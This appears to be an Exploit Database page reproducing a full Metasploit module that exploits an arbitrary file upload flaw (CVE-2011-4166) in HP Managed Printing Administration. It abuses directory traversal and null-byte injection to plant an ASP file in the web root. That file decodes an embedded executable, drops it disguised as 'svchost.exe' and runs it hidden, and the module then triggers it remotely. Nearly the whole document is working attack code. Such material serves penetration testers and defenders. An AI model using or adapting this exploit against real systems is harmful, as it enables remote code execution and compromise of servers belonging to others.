HP Managed Printing Administration – jobAcct Remote Command Execution (Metasploit)

• Exploit Database
• 10 阅读

• 作者： Metasploit
  日期： 2013-07-22
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/27013/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # web site for more information on licensing and terms of use.
  # http://metasploit.com/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  
  def initialize
  super(
  'Name'=> 'HP Managed Printing Administration jobAcct Remote Command Execution',
  'Description'=> %q{
  This module exploits an arbitrary file upload vulnerability on HP Managed Printing
  Administration 2.6.3 (and before). The vulnerability exists in the UploadFiles()
  function from the MPAUploader.Uploader.1 control, loaded and used by the server.
  The function can be abused via directory traversal and null byte injection in order
  to achieve arbitrary file upload.In order to exploit successfully, a few conditions
  must be met: 1) A writable location under the context of Internet Guest Account
  (IUSR_*), or Everyone is required. By default, this module will attempt to write to
  /hpmpa/userfiles/, but you may specify the WRITEWEBFOLDER datastore option to provide
  another writable path. 2)The writable path must also be readable by a browser,
  this typically means a location under wwwroot. 3) You cannot overwrite a file with
  the same name as the payload.
  },
  'Author'=> [
  'Andrea Micalizzi', # aka rgod - Vulnerability Discovery
  'juan vazquez' # Metasploit module
  ],
  'Platform'=> 'win',
  'References'=>
  [
  ['CVE', '2011-4166'],
  ['OSVDB', '78015'],
  ['BID', '51174'],
  ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-352/'],
  ['URL', 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03128469']
  ],
  'Targets' =>
  [
  [ 'HP Managed Printing Administration 2.6.3 / Microsoft Windows [XP SP3 | Server 2003 SP2]', { } ],
  ],
  'DefaultTarget'=> 0,
  'Privileged' => false,
  'DisclosureDate' => 'Dec 21 2011'
  )
  
  register_options(
  [
  OptString.new('WRITEWEBFOLDER', [ false,"Additional Web location with file write permissions for IUSR_*" ])
  ], self.class)
  end
  
  def peer
  return "#{rhost}:#{rport}"
  end
  
  def webfolder_uri
  begin
  u = datastore['WRITEWEBFOLDER']
  u = "/" if u.nil? or u.empty?
  URI(u).to_s
  rescue ::URI::InvalidURIError
  print_error "Invalid URI: #{datastore['WRITEWEBFOLDER'].inspect}"
  return "/"
  end
  end
  
  def to_exe_asp(exes = '')
  
  var_func= Rex::Text.rand_text_alpha(rand(8)+8)
  var_stream= Rex::Text.rand_text_alpha(rand(8)+8)
  var_obj = Rex::Text.rand_text_alpha(rand(8)+8)
  var_shell = Rex::Text.rand_text_alpha(rand(8)+8)
  var_tempdir = Rex::Text.rand_text_alpha(rand(8)+8)
  var_tempexe = Rex::Text.rand_text_alpha(rand(8)+8)
  var_basedir = Rex::Text.rand_text_alpha(rand(8)+8)
  
  var_f64name = Rex::Text.rand_text_alpha(rand(8)+8)
  arg_b64string = Rex::Text.rand_text_alpha(rand(8)+8)
  var_length= Rex::Text.rand_text_alpha(rand(8)+8)
  var_out = Rex::Text.rand_text_alpha(rand(8)+8)
  var_group = Rex::Text.rand_text_alpha(rand(8)+8)
  var_bytes = Rex::Text.rand_text_alpha(rand(8)+8)
  var_counter = Rex::Text.rand_text_alpha(rand(8)+8)
  var_char= Rex::Text.rand_text_alpha(rand(8)+8)
  var_thisdata= Rex::Text.rand_text_alpha(rand(8)+8)
  const_base64= Rex::Text.rand_text_alpha(rand(8)+8)
  var_ngroup= Rex::Text.rand_text_alpha(rand(8)+8)
  var_pout= Rex::Text.rand_text_alpha(rand(8)+8)
  
  vbs = "<%\r\n"
  
  # ASP Base64 decode from Antonin Foller http://www.motobit.com/tips/detpg_base64/
  vbs << "Function #{var_f64name}(ByVal #{arg_b64string})\r\n"
  vbs << "Const #{const_base64} = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"\r\n"
  vbs << "Dim #{var_length}, #{var_out}, #{var_group}\r\n"
  vbs << "#{arg_b64string} = Replace(#{arg_b64string}, vbCrLf, \"\")\r\n"
  vbs << "#{arg_b64string} = Replace(#{arg_b64string}, vbTab, \"\")\r\n"
  vbs << "#{arg_b64string} = Replace(#{arg_b64string}, \" \", \"\")\r\n"
  vbs << "#{var_length} = Len(#{arg_b64string})\r\n"
  vbs << "If #{var_length} Mod 4 <> 0 Then\r\n"
  vbs << "Exit Function\r\n"
  vbs << "End If\r\n"
  vbs << "For #{var_group} = 1 To #{var_length} Step 4\r\n"
  vbs << "Dim #{var_bytes}, #{var_counter}, #{var_char}, #{var_thisdata}, #{var_ngroup}, #{var_pout}\r\n"
  vbs << "#{var_bytes} = 3\r\n"
  vbs << "#{var_ngroup} = 0\r\n"
  vbs << "For #{var_counter} = 0 To 3\r\n"
  vbs << "#{var_char} = Mid(#{arg_b64string}, #{var_group} + #{var_counter}, 1)\r\n"
  vbs << "If #{var_char} = \"=\" Then\r\n"
  vbs << "#{var_bytes} = #{var_bytes} - 1\r\n"
  vbs << "#{var_thisdata} = 0\r\n"
  vbs << "Else\r\n"
  vbs << "#{var_thisdata} = InStr(1, #{const_base64}, #{var_char}, vbBinaryCompare) - 1\r\n"
  vbs << "End If\r\n"
  vbs << "If #{var_thisdata} = -1 Then\r\n"
  vbs << "Exit Function\r\n"
  vbs << "End If\r\n"
  vbs << "#{var_ngroup} = 64 * #{var_ngroup} + #{var_thisdata}\r\n"
  vbs << "Next\r\n"
  vbs << "#{var_ngroup} = Hex(#{var_ngroup})\r\n"
  vbs << "#{var_ngroup} = String(6 - Len(#{var_ngroup}), \"0\") & #{var_ngroup}\r\n"
  vbs << "#{var_pout} = Chr(CByte(\"&H\" & Mid(#{var_ngroup}, 1, 2))) + _\r\n"
  vbs << "Chr(CByte(\"&H\" & Mid(#{var_ngroup}, 3, 2))) + _\r\n"
  vbs << "Chr(CByte(\"&H\" & Mid(#{var_ngroup}, 5, 2)))\r\n"
  vbs << "#{var_out} = #{var_out} & Left(#{var_pout}, #{var_bytes})\r\n"
  vbs << "Next\r\n"
  vbs << "#{var_f64name} = #{var_out}\r\n"
  vbs << "End Function\r\n"
  
  vbs << "Sub #{var_func}()\r\n"
  vbs << "#{var_bytes} = #{var_f64name}(\"#{Rex::Text.encode_base64(exes)}\")\r\n"
  vbs << "Dim #{var_obj}\r\n"
  vbs << "Set #{var_obj} = CreateObject(\"Scripting.FileSystemObject\")\r\n"
  vbs << "Dim #{var_stream}\r\n"
  vbs << "Dim #{var_tempdir}\r\n"
  vbs << "Dim #{var_tempexe}\r\n"
  vbs << "Dim #{var_basedir}\r\n"
  vbs << "Set #{var_tempdir} = #{var_obj}.GetSpecialFolder(2)\r\n"
  
  vbs << "#{var_basedir} = #{var_tempdir} & \"\\\" & #{var_obj}.GetTempName()\r\n"
  vbs << "#{var_obj}.CreateFolder(#{var_basedir})\r\n"
  vbs << "#{var_tempexe} = #{var_basedir} & \"\\\" & \"svchost.exe\"\r\n"
  vbs << "Set #{var_stream} = #{var_obj}.CreateTextFile(#{var_tempexe},2,0)\r\n"
  vbs << "#{var_stream}.Write #{var_bytes}\r\n"
  vbs << "#{var_stream}.Close\r\n"
  vbs << "Dim #{var_shell}\r\n"
  vbs << "Set #{var_shell} = CreateObject(\"Wscript.Shell\")\r\n"
  
  vbs << "#{var_shell}.run #{var_tempexe}, 0, false\r\n"
  vbs << "End Sub\r\n"
  
  vbs << "#{var_func}\r\n"
  vbs << "%>\r\n"
  vbs
  end
  
  def upload(contents, location)
  post_data = Rex::MIME::Message.new
  post_data.add_part("upload", nil, nil, "form-data; name=\"upload\"")
  post_data.add_part(contents, "application/octet-stream", "binary", "form-data; name=\"uploadfile\"; filename=\"..\\../../wwwroot#{location}\x00.tmp\"")
  data = post_data.to_s
  data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part")
  
  res = send_request_cgi({
  'uri'=> normalize_uri("hpmpa", "jobAcct", "Default.asp"),
  'method' => 'POST',
  'ctype'=> "multipart/form-data; boundary=#{post_data.bound}",
  'data' => data,
  'encode_params' => false,
  'vars_get' => {
  'userId' => rand_text_numeric(2+rand(2)),
  'jobId'=> rand_text_numeric(2+rand(2))
  }
  })
  return res
  end
  
  def check
  res = send_request_cgi({'uri' => normalize_uri("hpmpa", "home", "Default.asp")})
  version = nil
  if res and res.code == 200 and res.body =~ /HP Managed Printing Administration/ and res.body =~ /<dd>v(.*)<\/dd>/
  version = $1
  else
  return Exploit::CheckCode::Safe
  end
  
  vprint_status("HP MPA Version Detected: #{version}")
  
  if version <= "2.6.3"
  return Exploit::CheckCode::Appears
  end
  
  return Exploit::CheckCode::Safe
  
  end
  
  def exploit
  # Generate the ASP containing the EXE containing the payload
  exe = generate_payload_exe
  # Not using Msf::Util::EXE.to_exe_asp because the generated vbs is too long and the app complains
  asp = to_exe_asp(exe)
  
  #
  # UPLOAD
  #
  asp_name = "#{rand_text_alpha(5+rand(3))}.asp"
  locations = [
  "/hpmpa/userfiles/images/printers/",
  "/hpmpa/userfiles/images/backgrounds/",
  "/hpmpa/userfiles/images/",
  "/hpmpa/userfiles/",
  "/"
  ]
  
  locations << normalize_uri(webfolder_uri, asp_name) if datastore['WRITEWEBFOLDER']
  
  payload_url = ""
  
  locations.each {|location|
  asp_location = location + asp_name
  print_status("#{peer} - Uploading #{asp.length} bytes to #{location}...")
  res = upload(asp, asp_location)
  if res and res.code == 200 and res.body =~ /Results of Upload/ and res.body !~ /Object\[formFile\]/
  print_good("#{peer} - ASP Payload successfully wrote to #{location}")
  payload_url = asp_location
  break
  elsif res and res.code == 200 and res.body =~ /Results of Upload/ and res.body =~ /Object\[formFile\]/
  print_error("#{peer} - Error probably due to permissions while writing to #{location}")
  else
  print_error("#{peer} - Unknown error while while writing to #{location}")
  end
  }
  
  if payload_url.empty?
  fail_with(Exploit::Failure::NotVulnerable, "#{peer} - Failed to upload ASP payload to the target")
  end
  
  #
  # EXECUTE
  #
  print_status("#{peer} - Executing payload through #{payload_url}...")
  send_request_cgi({ 'uri' => payload_url})
  end
  
  end